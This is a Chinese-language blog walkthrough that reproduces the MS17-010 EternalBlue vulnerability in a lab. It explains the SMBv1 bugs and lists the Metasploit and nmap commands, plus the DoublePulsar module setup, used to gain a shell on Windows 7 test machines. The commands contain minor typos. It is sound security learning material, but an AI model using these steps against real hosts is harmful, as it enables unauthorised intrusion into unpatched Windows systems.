【渗透】MS17-010漏洞复现

【渗透】MS17-010漏洞复现

Zhiyu Lv4

1 漏洞原理

1.1 简介

EternalBlue(在微软的MS17-010中被修复)是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。

从EternalBlue这个Exploit被影子经纪人公布到互联网上后,就成为了“明星”。这个Exploit被多款恶意软件利用。包括肆虐的WannaCrypt,无文件的勒索软件UIWIX和SMB蠕虫EternalRocks

1.2 漏洞简析

Eternalblue利用了3个不同的bug

  • 第一个是内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,由于错误地使用的WORD强制类型转换,导致在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)的缓冲区溢出
  • 第二个漏洞可以触发缓冲区溢出,这是由于SMB协议定义的两个子命令SMB_COM_TRANSACTION2和SMB_COM_NT_TRANSACT的差别。如果有太多的数据要包含在一个单独的包中,就需要_SECONDARY命令。TRANSACTION2和NT_TRANSACT的关键区别在于后者调用的数据包是前者大小的2倍。如果客户端使用NT_TRANSACT子命令在TRANSACTION2子命令前发送伪造的消息,就会出现验证错误。如果协议发现接收了2个分开的子命令,就会根据最后接收的包的类型来分配类型和大小。因为最后接收的包比较小,所以第一个包会占用比分配空间更多的空间。
  • 一旦攻击者完成初始的溢出,就可以利用SMB v1中的第3个漏洞来进行Heap Spraying(堆喷射),导致在给定地址分配一块内存。然后,攻击者就可以写入和执行shellcode来控制系统。

2 漏洞复现

2.1 渗透Windows7 32-bit

2.1.1 实验环境

实验平台:

  • 带有MS17-010漏洞的Windows 7 pro x86, 内部版本7601
    • IP:192.168.188.136
  • Kali Linux,用于渗透
    • IP:192.168.188.135

实验配置:

kali没有32位机器的渗透模块,我们需要做以下配置

  • 安装wine 32
1
2
3
4
# root 权限
dpkg --add-architecture i386
apt-get update
apt-get install wine32
  • 拉取EternalBlue_Doublepulsar攻击模块
1
2
3
4
5
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

# 将模块拷贝到msf的相应目录
cd Eternalblue-Doublepulsar-metasploit
cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
  • 运行postgresql
1
service postgresql start

2.1.2 信息搜集

  • nmap扫描
1
2
# root 权限
namp -sS -sV -Pn 192.168.188.136

发现该win7开放了445端口,可进一步采用msfconsole进行扫描分析

  • 查看并使用辅助扫描模块测试目标是否可攻击
1
2
3
4
5
6
7
8
# 运行msfconsole工具
msfconsole

# 搜索ms17-010相关模块,并采用辅助模块进行测试
search ms17-010

# 发现有一个ms17_010的扫描检测模块可用, use
use auxiliary/scanner/smb/smb_ms17_010

1
2
3
4
5
# 设置RHOSTS项为192.168.188.136
set RHOSTS 192.168.188.136

# 运行该ms17_010检测模块
run

发现确实目标机器存在MS17-010,并提示可用之前git clone的DoublePulsar模块进行侵入

2.1.3 开始渗透

  • 尝试攻击
1
2
3
4
5
6
7
8
# 使用doublepulsar攻击模块
use exploit/windows/smb/eternalblue_doublepulsar

# 设置RHOST项为192.168.188.136
set RHOST 192.168.188.136

# 查看攻击模块的配置,请特别注意DOUBLEPULSARPATH是否与你git clone下载的路径一致
show options

1
2
# 运行攻击模块
run

1
2
3
4
5
# 渗透并没有成功,修改PROCESSINJECT项为explorer.exe (修改为lsass.exe也可以)
set PROCESSINJECT explorer.exe

# 再次exploit,成功
run

meterpreter是一个为攻击者提供交互性shell以便于在目标机器上执行代码的命令行工具。渗透成功的后续攻击可以参考阅读【渗透】meterpreter提权

2.2 渗透Windows7 64-bit

相比于渗透Windows7 32-bit,渗透64位机器要简单得多,因为64位机器的渗透是msf内建支持的。

前几个步骤基本和渗透32位机器一致

2.2.1 信息搜集

  • nmap扫描主机信息
  • msfconsole采用scanner模块扫描检测ms17-010漏洞
1
2
3
4
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.188.138 # Windows 7 x64
show options
run

2.2.2开始渗透

  • 方法一:采用msf自带的eternalblue攻击模块
1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.188 138 # Windows 7 x64
show options
run

成功拿到目标机器的Shell

  • 方法二:采用github开源攻击模块DoublePulsar

步骤和攻击32位机器一致,但是需要配置wine64和wine32共存

  • Title: 【渗透】MS17-010漏洞复现
  • Author: Zhiyu
  • Created at : 2019-11-14 19:46:30
  • Updated at : 2026-02-18 00:38:31
  • Link: https://qgrain.github.io/2019/11/14/渗透-MS17-010漏洞复现/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments